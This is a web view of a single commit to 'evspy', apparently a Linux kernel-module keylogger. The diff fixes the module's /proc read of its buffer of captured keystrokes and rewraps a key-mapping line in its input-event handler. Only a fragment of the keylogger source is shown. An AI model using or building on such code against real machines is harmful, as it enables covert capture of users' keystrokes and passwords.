aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGuillermo Ramos2011-11-01 21:58:08 +0100
committerGuillermo Ramos2011-11-01 21:58:08 +0100
commit20faeb55d16bdb78c5f85ec52737816d7d9aa629 (patch)
treec10155a8b41321173ebf9c7a6b91c88fc640ed6c
parent06aea3593215d0ed6f8e3c3113a14e2aaba81f6a (diff)
downloadevspy-20faeb55d16bdb78c5f85ec52737816d7d9aa629.tar.gz
NOW fixed read-from-proc bug
And 100% sure
-rw-r--r--evspy-core.c15
1 files changed, 8 insertions, 7 deletions
diff --git a/evspy-core.c b/evspy-core.c
index 6acfd30..64f5960 100644
--- a/evspy-core.c
+++ b/evspy-core.c
@@ -47,19 +47,19 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count,
*eof = 1;
else
strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n);
- return n;
#else
return -EPERM;
#endif
} else { // copy fifo contents to the supplied buffer
- n = offset + kfifo_out(&cbuffer, page+offset,
- min((int)PAGE_SIZE, count));
+ if (offset + count > PAGE_SIZE)
+ count = PAGE_SIZE - offset;
- if (n == offset)
- *eof = 1;
+ n = offset + kfifo_out(&cbuffer, page+offset, count);
- return n;
+ if (kfifo_is_empty(&cbuffer))
+ *eof = 1;
}
+ return n;
}
/*
@@ -160,7 +160,8 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
return;
// Special/unknown keys (alt, ctrl, esc, shift, etc)
- } else if (code >= sizeof(map) || (map[code] == '.' && likely(code != KEY_DOT))) {
+ } else if (code >= sizeof(map) || (map[code] == '.' &&
+ likely(code != KEY_DOT))) {
special_char(code, value);
// "Immediate" keys (alphanumeric + some symbols)